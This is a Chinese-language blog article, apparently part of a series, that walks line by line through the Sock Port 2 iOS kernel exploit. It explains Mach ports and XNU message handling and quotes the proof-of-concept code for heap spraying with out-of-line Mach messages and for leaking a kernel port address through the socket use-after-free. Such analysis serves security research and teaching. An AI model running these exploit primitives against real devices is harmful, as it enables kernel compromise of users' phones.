在上一篇文章中,咱們初步介紹了 UAF 原理,並提到了 iOS 10.0 - 12.2 的 Socket 代碼中含有一個針對 in6p_outputopts
的 UAF Exploit,它是整個 Sock Port 漏洞的關鍵。從這篇文章開始,咱們將逐行分析 Sock Port 2 的 Public PoC 源碼,並結合 XNU 源碼進行深刻分析和解釋。html
在介紹 Sock Port 以前,咱們須要先引入 Mach port 的概念[1]:git
Mach ports are a kernel-provided inter-process communication (IPC) mechanism used heavily throughout the operating system. A Mach port is a unidirectional, kernel-protected channel that can have multiple send endpoints and only one receive endpoint.github
即 Mach ports 是內核提供的進程間通訊機制,它被操做系統頻繁的使用。一個 Mach port 是一個受內核保護的單向管道,它能夠有多個發送端,但只能有一個接收端。數組
Mach port 在用戶態以 mach_port_t
句柄的形式存在,在內核空間中每一個 mach_port_t
句柄都有相對應的內核對象 ipc_port
:markdown
struct ipc_port { struct ipc_object ip_object; struct ipc_mqueue ip_messages; union { struct ipc_space *receiver; struct ipc_port *destination; ipc_port_timestamp_t timestamp; } data; union { ipc_kobject_t kobject; // task ipc_importance_task_t imp_task; ipc_port_t sync_inheritor_port; struct knote *sync_inheritor_knote; struct turnstile *sync_inheritor_ts; } kdata; // ... 複製代碼
其中比較關鍵的是 +0x68 處的 kobject
成員,它是一個 task
對象,根據 Apple 給出的文檔:Task 是擁有資源的單位,它包含了虛擬地址空間、mach ports 空間以及線程空間[2],它相似於進程的概念,在這裏咱們能夠簡單地理解爲每一個進程都有其對應的 Task,內核經過 Task 能夠管理進程資源,並經過這種機制實現進程間通訊。數據結構
Task 在內核中的結構以下:app
struct task { // ... /* Virtual address space */ vm_map_t map; /* Address space description */ queue_chain_t tasks; /* global list of tasks */ // ... /* Threads in this task */ queue_head_t threads; // ... /* Port right namespace */ struct ipc_space *itk_space; /* Proc info */ void *bsd_info; // ... 複製代碼
上述代碼中的 map
, threads
和 itk_space
分別對應了上述對 Task 擁有的虛擬地址空間、mach ports 命名空間以及線程空間,而 bsd_info
是一個 Proc 對象,它包含了當前進程信息,例如咱們熟悉的 PID
:socket
struct proc { LIST_ENTRY(proc) p_list; /* List of all processes. */ void * task; /* corresponding task (static)*/ pid_t p_ppid; /* process's parent pid number */ // ... pid_t p_pid; /* Process identifier. (static)*/ // ... 複製代碼
在用戶態咱們能夠經過 mach_task_self_
變量或是 mach_task_self()
宏函數拿到當前進程的 Task port
,所謂 Task port
便是指包含了該進程對應的 Task
做爲其 kobject
的任務端口,擁有該端口便可對相應的進程「隨心所欲」。ide
所以,只要咱們能在用戶態獲取到內核的 Task port
,就能對內核隨心所欲。Sock Port 本質上就是在用戶態僞造了一個合法的內核 Task port
(又被稱之爲 task_for_pid(0)
,即 tfp0
)。函數
Sock Port 漏洞經過 Socket in6p_outputopts UAF 主要實現了 3 個 Exploit Primitive:
mach_port
句柄對應的 ipc_port
地址泄露,經過這種方式咱們能夠拿到應用自身進程的 Task port
;in6p_outputopts
的成員實現了不穩定的內核內存讀取;in6p_outputopts
的成員實現了內核中任意大小 zone 的釋放。Sock Port 經過組合這些 Primitive,先是經過 Socket UAF 得到了一個可控的內核地址空間,隨後經過 Mach OOL Message 將這些空間填充成 ipc_port
的地址,最後偷樑換柱的用僞造的 ipc_port
對其進行替換,此時咱們可以獲得一個合法、可控的 ipc_port
。
隨後咱們經過讀取自身進程 Task port
的 bsd_info
以及 task_prev
枚舉全部進程,直到 pid = 0 咱們便拿到了 Kernel Task,從 Kernel Task 中取出 Kernel Map 賦予咱們僞造的 ipc_port
,此時咱們便將僞造的 ipc_port
假裝成了一個真正的 Kernel Task port
。
以上是對 Sock Port 的一個概述,詳細的利用過程涉及到 XNU 的諸多知識,且每一步都富含細節,到這裏讀者只須要對該漏洞有個總體認識,在接下來的文章中會一步步分析這些 Primitive 的原理,以及組合 Primitives 實現 tfp0 的詳細過程。
漏洞的第一個關鍵是獲取到當前進程的 Task port 地址,這也是本文重點分析的內容。常規狀況下,在用戶態咱們只能拿到 Task port 的句柄,若要拿到地址,有兩個思路:
事實上當前進程的 port 索引表是被 Task port 所間接引用的,即常規狀況下咱們須要先知道 Task port address 才能獲取到 port 索引表的位置,所以方式 1 不可行。實現方式 2 的關鍵點有兩個:UAF & 分配 Task port pointer,前者已經經過 Socket UAF 知足,如今只差後者。
在 Sock Port 中有一段關鍵代碼,用於爲指定的 target port
句柄在內核中分配可控數量的 ipc_port
指針:
// from Ian Beer. make a kernel allocation with the kernel address of 'target_port', 'count' times mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) { mach_port_t q = MACH_PORT_NULL; kern_return_t err; err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q); if (err != KERN_SUCCESS) { printf("[-] failed to allocate port\n"); return 0; } mach_port_t* ports = malloc(sizeof(mach_port_t) * count); for (int i = 0; i < count; i++) { ports[i] = target_port; } struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg)); msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg); msg->hdr.msgh_remote_port = q; msg->hdr.msgh_local_port = MACH_PORT_NULL; msg->hdr.msgh_id = 0x41414141; msg->body.msgh_descriptor_count = 1; msg->ool_ports.address = ports; msg->ool_ports.count = count; msg->ool_ports.deallocate = 0; msg->ool_ports.disposition = disposition; msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY; err = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { printf("[-] failed to send message: %s\n", mach_error_string(err)); return MACH_PORT_NULL; } return q; } 複製代碼
這段代碼所作的事情有三個:
target port
填充;這個地方的一個關鍵是 OOL Message,它是觸發內核複製的關鍵。OOL Message 的全稱是 Out-of-line Message,之因此稱之爲 out of line,是由於它的消息體中包含了 Out-of-line Memory,而 Out-of-line Memory 即接收者虛擬地址空間之外的內容。根據 GNU Doc,Out-of-line Memory 會在接受者的空間進行 copyin 操做,有意思的事情在於若是 out-of-line 的是 mach_port
句柄,在 copy 時會將其轉換爲句柄對應的 ipc_port
的地址。
到這裏咱們已經瞭解了經過 OOL Message 迫使內核分配 port address 的方法,但知其然就要知其因此然,接下來咱們從 XNU 源碼入手分析着這整個過程。
筆者分析使用的 XNU 版本爲 xnu-4903.221.2,分析時所在的 commit hash 爲 a449c6a3b8014d9406c2ddbdc81795da24aa7443。
咱們直接從發送消息的 mach_msg
函數入手分析,打斷點可知 mach_msg
最終會調用到內核的 mach_msg_trap
函數,咱們打開 XNU 源碼能夠看到 mach_msg_trap
實際上是對 mach_msg_overwrite_trap
的簡單封裝:
mach_msg_return_t mach_msg_trap( struct mach_msg_overwrite_trap_args *args) { kern_return_t kr; args->rcv_msg = (mach_vm_address_t)0; kr = mach_msg_overwrite_trap(args); return kr; } 複製代碼
接下來咱們去看 mach_msg_overwrite_trap
函數,首先看到函數的開頭:
mach_msg_return_t mach_msg_overwrite_trap( struct mach_msg_overwrite_trap_args *args) { mach_vm_address_t msg_addr = args->msg; mach_msg_option_t option = args->option; mach_msg_size_t send_size = args->send_size; mach_msg_size_t rcv_size = args->rcv_size; mach_port_name_t rcv_name = args->rcv_name; mach_msg_timeout_t msg_timeout = args->timeout; mach_msg_priority_t override = args->override; mach_vm_address_t rcv_msg_addr = args->rcv_msg; __unused mach_port_seqno_t temp_seqno = 0; mach_msg_return_t mr = MACH_MSG_SUCCESS; vm_map_t map = current_map(); /* Only accept options allowed by the user */ option &= MACH_MSG_OPTION_USER; if (option & MACH_SEND_MSG) { // ... } if (option & MACH_RCV_MSG) { // ... } // ... 複製代碼
先是從 args 中解出用戶態傳入的參數,隨後準備了後續處理所需的環境,接下來的代碼是對 option 的判斷,可見收發消息共用了一個函數,因爲咱們傳入的 option 包含了 MACH_SEND_MSG
,接下來會走到消息發送的分支邏輯:
if (option & MACH_SEND_MSG) { ipc_space_t space = current_space(); ipc_kmsg_t kmsg; // 1. create kmsg and copy header mr = ipc_kmsg_get(msg_addr, send_size, &kmsg); if (mr != MACH_MSG_SUCCESS) { return mr; } // 2. copy body mr = ipc_kmsg_copyin(kmsg, space, map, override, &option); if (mr != MACH_MSG_SUCCESS) { ipc_kmsg_free(kmsg); return mr; } // 3. send message mr = ipc_kmsg_send(kmsg, option, msg_timeout); if (mr != MACH_MSG_SUCCESS) { mr |= ipc_kmsg_copyout_pseudo(kmsg, space, map, MACH_MSG_BODY_NULL); (void) ipc_kmsg_put(kmsg, option, msg_addr, send_size, 0, NULL); return mr; } } 複製代碼
在消息發送的分支邏輯中有三個關鍵步驟:
下面咱們將詳細講解前兩個步驟,他們是整個 Mach OOL Message Spraying 的關鍵:
內核經過調用 ipc_kmsg_get
實現了 kmsg 構造,下面是 ipc_kmsg_get
去除了 debug 信息與一些判斷邏輯外的全貌:
mach_msg_return_t ipc_kmsg_get( mach_vm_address_t msg_addr, // user space mach_msg_addr mach_msg_size_t size, // send size = mach_msg_hdr->msgh_size = sizeof(mach_msg) ipc_kmsg_t *kmsgp) // kmsg to return { mach_msg_size_t msg_and_trailer_size; ipc_kmsg_t kmsg; mach_msg_max_trailer_t *trailer; mach_msg_legacy_base_t legacy_base; mach_msg_size_t len_copied; legacy_base.body.msgh_descriptor_count = 0; // 1. copy mach header & body to kernel legacy_base len_copied = sizeof(mach_msg_legacy_base_t); if (copyinmsg(msg_addr, (char *)&legacy_base, len_copied)) return MACH_SEND_INVALID_DATA; msg_addr += sizeof(legacy_base.header); // arm64 fixup size += LEGACY_HEADER_SIZE_DELTA; // 2. create a kmsg msg_and_trailer_size = size + MAX_TRAILER_SIZE; kmsg = ipc_kmsg_alloc(msg_and_trailer_size); if (kmsg == IKM_NULL) return MACH_SEND_NO_BUFFER; // 2.1 init kernel mach_header kmsg->ikm_header->msgh_size = size; kmsg->ikm_header->msgh_bits = legacy_base.header.msgh_bits; kmsg->ikm_header->msgh_remote_port = CAST_MACH_NAME_TO_PORT(legacy_base.header.msgh_remote_port); kmsg->ikm_header->msgh_local_port = CAST_MACH_NAME_TO_PORT(legacy_base.header.msgh_local_port); kmsg->ikm_header->msgh_voucher_port = legacy_base.header.msgh_voucher_port; kmsg->ikm_header->msgh_id = legacy_base.header.msgh_id; // 3. copy userspace mach body to kernel if (copyinmsg(msg_addr, (char *)(kmsg->ikm_header + 1), size - (mach_msg_size_t)sizeof(mach_msg_header_t))) { ipc_kmsg_free(kmsg); return MACH_SEND_INVALID_DATA; } // 4. init kmsg trailer trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); trailer->msgh_sender = current_thread()->task->sec_token; trailer->msgh_audit = current_thread()->task->audit_token; trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; trailer->msgh_labels.sender = 0; *kmsgp = kmsg; return MACH_MSG_SUCCESS; } 複製代碼
整個 kmsg 的構造過程較爲複雜,主要包含了 4 步:
mach_msg_legacy_base_t
對象,它其實是一個 mach_message 的基本結構,隨後將用戶空間的 mach header 和 body 經過 copyinmsg
複製到 mach_msg_legacy_base_t
對象,主要目的是在方便在內核中獲取消息的 mach 數據結構;typedef struct { mach_msg_legacy_header_t header; mach_msg_body_t body; } mach_msg_legacy_base_t; 複製代碼
這部分最複雜的部分是第 2 步 kmsg 的建立,其複雜性在於對整個 kmsg 空間的構造,涉及大量的地址與尺寸計算,因爲整個過程十分冗長無聊,這裏直接給出結論,有興趣的讀者能夠順着方法本身構造一遍整個 kmsg 數據體。
/*** * |-kmsg(84)-|---body(60)---|-mach_msg_hdr(24)-|-mach_msg_body(4)-|-descriptor(16)-|-trailer(0x44)-| * | ^ * | | * ikm_header ----------------| */ 複製代碼
可見用戶空間發送的 mach message 結構被放置在了 kmsg body 後面,包含 header, body 和 descriptor 三部分,隨後跟着一個 trailer。
事實上,body 區域是被預留的,用於處理 kmsg 沒法完整容納下 descriptor 的狀況,這一點在 ipc_kmsg_alloc
開頭的註釋中能夠看到:
/* * LP64support - * Pad the allocation in case we need to expand the * message descrptors for user spaces with pointers larger than * the kernel's own, or vice versa. We don't know how many descriptors * there are yet, so just assume the whole body could be * descriptors (if there could be any at all). * * The expansion space is left in front of the header, * because it is easier to pull the header and descriptors * forward as we process them than it is to push all the * data backwards. */ 複製代碼
即當用戶空間的 descriptor 比內核空間大時,咱們能夠將 kmsg 從 mach_msg_header
開始總體左移,爲 descriptor 空出空間。之因此在左側預留空間是由於 kmsg 後面的內存空間可能已被佔用,將 header 向前拉要比向後推進要更簡單。
構造好了 kmsg 之後,咱們只完成了 header 和 body 的複製,其中 body 包含了 descriptor 的信息,接下來的工做是經過 ipc_kmsg_copyin
函數賦值餘下的部分,併爲 OOL Message 中的 OOL Memory 轉化爲 in-line memory。
咱們先來看 ipc_kmsg_copyin
的實現:
mach_msg_return_t ipc_kmsg_copyin( ipc_kmsg_t kmsg, ipc_space_t space, vm_map_t map, mach_msg_priority_t override, mach_msg_option_t *optionp) { mach_msg_return_t mr; kmsg->ikm_header->msgh_bits &= MACH_MSGH_BITS_USER; // 1. copy header rights mr = ipc_kmsg_copyin_header(kmsg, space, override, optionp); if (mr != MACH_MSG_SUCCESS) return mr; if ((kmsg->ikm_header->msgh_bits & MACH_MSGH_BITS_COMPLEX) == 0) return MACH_MSG_SUCCESS; // 2. copy body mr = ipc_kmsg_copyin_body(kmsg, space, map, optionp); return mr; } 複製代碼
這裏主要包含兩個步驟:
這裏重點講一下步驟 2,它是能迫使內核完成從 port 句柄到 port address 轉換和指針分配的關鍵,下面是筆者在 arm64 和 上述 OOL Message 方式調用條件下去掉一些邊界判斷後精簡的 ipc_kmsg_copyin_body
內容:
mach_msg_return_t ipc_kmsg_copyin_body( ipc_kmsg_t kmsg, ipc_space_t space, vm_map_t map, mach_msg_option_t *optionp) { ipc_object_t dest; mach_msg_body_t *body; mach_msg_descriptor_t *user_addr, *kern_addr; mach_msg_type_number_t dsc_count; boolean_t is_task_64bit = (map->max_offset > VM_MAX_ADDRESS); boolean_t complex = FALSE; vm_size_t space_needed = 0; vm_offset_t paddr = 0; vm_map_copy_t copy = VM_MAP_COPY_NULL; mach_msg_type_number_t i; mach_msg_return_t mr = MACH_MSG_SUCCESS; // 1. init descriptor size vm_size_t descriptor_size = 0; dest = (ipc_object_t) kmsg->ikm_header->msgh_remote_port; body = (mach_msg_body_t *) (kmsg->ikm_header + 1); dsc_count = body->msgh_descriptor_count; /* * Make an initial pass to determine kernal VM space requirements for * physical copies and possible contraction of the descriptors from * processes with pointers larger than the kernel's. */ daddr = NULL; for (i = 0; i < dsc_count; i++) { /* make sure the descriptor fits in the message */ descriptor_size += 16; } /* * Allocate space in the pageable kernel ipc copy map for all the * ool data that is to be physically copied. Map is marked wait for * space. */ if (space_needed) { if (vm_allocate_kernel(ipc_kernel_copy_map, &paddr, space_needed, VM_FLAGS_ANYWHERE, VM_KERN_MEMORY_IPC) != KERN_SUCCESS) { mr = MACH_MSG_VM_KERNEL; goto clean_message; } } /* user_addr = just after base as it was copied in */ user_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg->ikm_header + sizeof(mach_msg_base_t)); // 2. pull header forward if needed /* Shift the mach_msg_base_t down to make room for dsc_count*16bytes of descriptors */ if (descriptor_size != 16 * dsc_count) { vm_offset_t dsc_adjust = 16 * dsc_count - descriptor_size; memmove((char *)(((vm_offset_t)kmsg->ikm_header) - dsc_adjust), kmsg->ikm_header, sizeof(mach_msg_base_t)); kmsg->ikm_header = (mach_msg_header_t *)((vm_offset_t)kmsg->ikm_header - dsc_adjust); /* Update the message size for the larger in-kernel representation */ kmsg->ikm_header->msgh_size += (mach_msg_size_t)dsc_adjust; } /* kern_addr = just after base after it has been (conditionally) moved */ kern_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg->ikm_header + sizeof(mach_msg_base_t)); // 3. copy ool ports to kernel zone /* handle the OOL regions and port descriptors. */ for (i = 0; i < dsc_count; i++) { user_addr = ipc_kmsg_copyin_ool_ports_descriptor((mach_msg_ool_ports_descriptor_t *)kern_addr, user_addr, is_task_64bit, map, space, dest, kmsg, optionp, &mr); kern_addr++; complex = TRUE; } if (!complex) { kmsg->ikm_header->msgh_bits &= ~MACH_MSGH_BITS_COMPLEX; } return mr; 複製代碼
這個函數較爲複雜,筆者在其中用註釋標出了 3 個關鍵步驟:
mach_msg_ool_ports_descriptor_t
的用戶空間大小;mach_msg_ool_ports_descriptor_t
,將 kmsg 從 header 開始總體往前移動,爲 descriptor 留下足夠的空間,這與上文中提到的 kmsg body expand size 描述一致;因爲咱們的 body 只包含了一個 descriptor,且用戶空間尺寸與內核空間中一致,所以不須要 pull header forward,接下來咱們終於來到了本文的重頭戲:ool ports 轉換。
port 句柄到地址的轉換是經過調用 ipc_kmsg_copyin_ool_ports_descriptor
函數完成的,下面咱們看一下該函數的實現:
mach_msg_descriptor_t * ipc_kmsg_copyin_ool_ports_descriptor( mach_msg_ool_ports_descriptor_t *dsc, mach_msg_descriptor_t *user_dsc, int is_64bit, vm_map_t map, ipc_space_t space, ipc_object_t dest, ipc_kmsg_t kmsg, mach_msg_option_t *optionp, mach_msg_return_t *mr) { void *data; ipc_object_t *objects; unsigned int i; mach_vm_offset_t addr; mach_msg_type_name_t user_disp; mach_msg_type_name_t result_disp; mach_msg_type_number_t count; mach_msg_copy_options_t copy_option; boolean_t deallocate; mach_msg_descriptor_type_t type; vm_size_t ports_length, names_length; mach_msg_ool_ports_descriptor64_t *user_ool_dsc = (typeof(user_ool_dsc))user_dsc; addr = (mach_vm_offset_t)user_ool_dsc->address; count = user_ool_dsc->count; deallocate = user_ool_dsc->deallocate; copy_option = user_ool_dsc->copy; user_disp = user_ool_dsc->disposition; type = user_ool_dsc->type; user_dsc = (typeof(user_dsc))(user_ool_dsc+1); dsc->deallocate = deallocate; dsc->copy = copy_option; dsc->type = type; dsc->count = count; dsc->address = NULL; /* for now */ result_disp = ipc_object_copyin_type(user_disp); dsc->disposition = result_disp; // 1. calculate port_pointers length and port_names length /* calculate length of data in bytes, rounding up */ if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) { *mr = MACH_SEND_TOO_LARGE; return NULL; } if (os_mul_overflow(count, sizeof(mach_port_name_t), &names_length)) { *mr = MACH_SEND_TOO_LARGE; return NULL; } // 2. alloc kenrel zone for port pointers data = kalloc(ports_length); mach_port_name_t *names = &((mach_port_name_t *)data)[count]; if (copyinmap(map, addr, names, names_length) != KERN_SUCCESS) { kfree(data, ports_length); *mr = MACH_SEND_INVALID_MEMORY; return NULL; } if (deallocate) { (void) mach_vm_deallocate(map, addr, (mach_vm_size_t)ports_length); } objects = (ipc_object_t *) data; // 3. 替換 ool address 爲 kernel address dsc->address = data; for ( i = 0; i < count; i++) { mach_port_name_t name = names[i]; ipc_object_t object; if (!MACH_PORT_VALID(name)) { objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name); continue; } // 4. convert port_name to port_addr kern_return_t kr = ipc_object_copyin(space, name, user_disp, &object); if (kr != KERN_SUCCESS) { unsigned int j; for(j = 0; j < i; j++) { object = objects[j]; if (IPC_OBJECT_VALID(object)) ipc_object_destroy(object, result_disp); } kfree(data, ports_length); dsc->address = NULL; if ((*optionp & MACH_SEND_KERNEL) == 0) { mach_port_guard_exception(name, 0, 0, kGUARD_EXC_SEND_INVALID_RIGHT); } *mr = MACH_SEND_INVALID_RIGHT; return NULL; } if ((dsc->disposition == MACH_MSG_TYPE_PORT_RECEIVE) && ipc_port_check_circularity( (ipc_port_t) object, (ipc_port_t) dest)) kmsg->ikm_header->msgh_bits |= MACH_MSGH_BITS_CIRCULAR; objects[i] = object; } return user_dsc; } 複製代碼
這段代碼一樣十分複雜,筆者在其中標出了 4 個關鍵步驟:
ipc_port pointer
所須要的空間大小,以及用戶空間中 mach_port
句柄數組的大小;ipc_port pointer
數組,這個地方的 ports_length
有些費解,理論上應該計算 count * sizeof(mach_port_t *)
,若是採用 count * sizeof(mach_port_t)
做爲 kalloc 參數如何能裝下 pointers 呢?是否是 kalloc 有一些特殊的內存分配規則,望高人指點;這其中的重點是步驟 4,它經過調用 ipc_object_copyin
將一個句柄轉化爲 ipc_port pointer
,咱們來看它的實現:
kern_return_t ipc_object_copyin( ipc_space_t space, mach_port_name_t name, mach_msg_type_name_t msgt_name, ipc_object_t *objectp) { ipc_entry_t entry; ipc_port_t soright; ipc_port_t release_port; kern_return_t kr; int assertcnt = 0; // 1. find port in is_table kr = ipc_right_lookup_write(space, name, &entry); if (kr != KERN_SUCCESS) return kr; release_port = IP_NULL; // 2. copy to kernel ipc_object kr = ipc_right_copyin(space, name, entry, msgt_name, TRUE, objectp, &soright, &release_port, &assertcnt); // ... return kr; } 複製代碼
這裏主要有兩個關鍵步驟:
這裏的關鍵是第 1 步,它經過 ipc_right_lookup_write
實現了句柄到地址的轉換,它是對 ipc_entry_lookup
的封裝,咱們直接看後者的實現:
ipc_entry_t ipc_entry_lookup( ipc_space_t space, mach_port_name_t name) { mach_port_index_t index; ipc_entry_t entry; assert(is_active(space)); // 1. get index from port name index = name >> 8; if (index < space->is_table_size) { // 2. get port address by index from is_table entry = &space->is_table[index]; if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) || IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE) { entry = IE_NULL; } } else { entry = IE_NULL; } assert((entry == IE_NULL) || IE_BITS_TYPE(entry->ie_bits)); return entry; } 複製代碼
從這裏咱們能夠看到,port 句柄中的索引信息是從第 8 位開始的,所以將 port name 右移 8 位便可獲得 port index,隨後在索引表中查找地址返回。
到這裏咱們已經全然明白了爲什麼能經過發送 Mach OOL Message 實現迫使內核分配指定 port 的 ipc_port pointers
的原理,接下來咱們着手分析如何獲取到這個地址。
到這裏思路變得十分明確,咱們只須要利用 Socket UAF 獲得一塊已釋放區域,而後發送大量的 OOL Message 消息,且使得 port 數組與被釋放區域大小一致,便可經過 Heap Spraying 將 ipc_port pointer
數組分配在已釋放區域,下面咱們來看 Sock Port 中的這段代碼:
// first primitive: leak the kernel address of a mach port uint64_t find_port_via_uaf(mach_port_t port, int disposition) { // here we use the uaf as an info leak // 1. make dangling socket option zone int sock = get_socket_with_dangling_options(); for (int i = 0; i < 0x10000; i++) { // since the UAFd field is 192 bytes, we need 192/sizeof(uint64_t) pointers // 2. send ool message mach_port_t p = fill_kalloc_with_port_pointer(port, 192/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND); int mtu; int pref; // 3. get option and check if it is a kernel pointer get_minmtu(sock, &mtu); // this is like doing rk32(options + 180); get_prefertempaddr(sock, &pref); // this like rk32(options + 184); // since we wrote 192/sizeof(uint64_t) pointers, reading like this would give us the second half of rk64(options + 184) and the fist half of rk64(options + 176) /* from a hex dump: (lldb) p/x HexDump(options, 192) XX XX XX XX F0 FF FF FF XX XX XX XX F0 FF FF FF | ................ ... XX XX XX XX F0 FF FF FF XX XX XX XX F0 FF FF FF | ................ |-----------||-----------| minmtu here prefertempaddr here */ // the ANDing here is done because for some reason stuff got wrong. say pref = 0xdeadbeef and mtu = 0, ptr would come up as 0xffffffffdeadbeef instead of 0x00000000deadbeef. I spent a day figuring out what was messing things up uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | ((uint64_t)pref & 0x00000000ffffffff); if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) { mach_port_destroy(mach_task_self(), p); close(sock); return ptr; } mach_port_destroy(mach_task_self(), p); } // close that socket. close(sock); return 0; } 複製代碼
這裏有 4 個關鍵步驟:
in6p_outputopts
大小的已釋放區域,詳細過程能夠看上一篇文章:iOS Jailbreak Principles - Sock Port 漏洞解析(一)UAF 與 Heap Spraying 或 Sock Port Write-up;in6p_outputopts
的大小爲 192B,一個 port pointer 大小爲 8B,所以咱們須要發送 192 / 8 = 24 個 ool_ports;in6p_outputopts
兩個連續的成員變量拼接出一個 64 位地址;這裏咱們重點講一下第 三、4 步:
根據 in6p_outputopts
對應的結構體:
struct ip6_pktopts { struct mbuf *ip6po_m; int ip6po_hlim; struct in6_pktinfo *ip6po_pktinfo; struct ip6po_nhinfo ip6po_nhinfo; struct ip6_hbh *ip6po_hbh; struct ip6_dest *ip6po_dest1; struct ip6po_rhinfo ip6po_rhinfo; struct ip6_dest *ip6po_dest2; int ip6po_tclass; int ip6po_minmtu; // +180 int ip6po_prefer_tempaddr; // + 184 int ip6po_flags; }; 複製代碼
minmtu
和 ip6po_prefer_tempaddr
分別位於該結構體的 +180 和 +184 區域,因爲每一個 pointer 是 8B,最近的 pointer 位於 +176 ~ +184 和 +184 ~ + 192 區域,所以經過 minmtu
咱們能讀到前一個 pointer 的高 32 位,經過 ip6po_prefer_tempaddr
能讀到下一個指針的低 32 位,又由於 Heap Spraying 成功後這些 pointer 都是指向 target ipc_port 的,因此咱們能夠用他們拼接出一個完整的 pointer address,拼接方法是將 minmtu
左移 32 位或上 ip6po_prefer_tempaddr
:
uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | ((uint64_t)pref & 0x00000000ffffffff); 複製代碼
下面最關鍵的步驟是如何判斷這是一個有效地內核地址,這裏須要兩個基礎知識:
mach/arm/vm_param.h
中的定義,內核地址的有效範圍是從 0xffffffe000000000 ~ 0xfffffff3ffffffff,通常而言 port address 的高 32 位是 0xffffffe。綜合以上兩點有如下判斷代碼:
if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) { mach_port_destroy(mach_task_self(), p); close(sock); return ptr; } 複製代碼
若是知足條件,此時咱們已經拿到了 port address。
本文先介紹了 Mach port 的用戶空間與內核空間表示及其功能;隨後簡單介紹了 Sock Port 的實現機理;接着以漏洞的第一個關鍵點(經過 OOL Message 泄露 Port Addr)爲切入點,結合 XNU 源碼深刻分析了 OOL Message 實現 ipc_port pointers Spraying 的原理;最後結合 Sock Port 源碼分析了拿到 Port Address 的過程。
經過這一節的學習,相信你對 Mach port 的整套機制和 Heap Spraying 有了更加深刻的認識。
經過 Socket UAF 不只能實現泄露 Port Address,還能實現任意地址的讀取和任意內核 zone 的釋放。在下一節中,咱們將介紹基於 IOSurface 的 Heap Spraying 與 Socket UAF 組合來實現上述 Primitives 的原理和過程。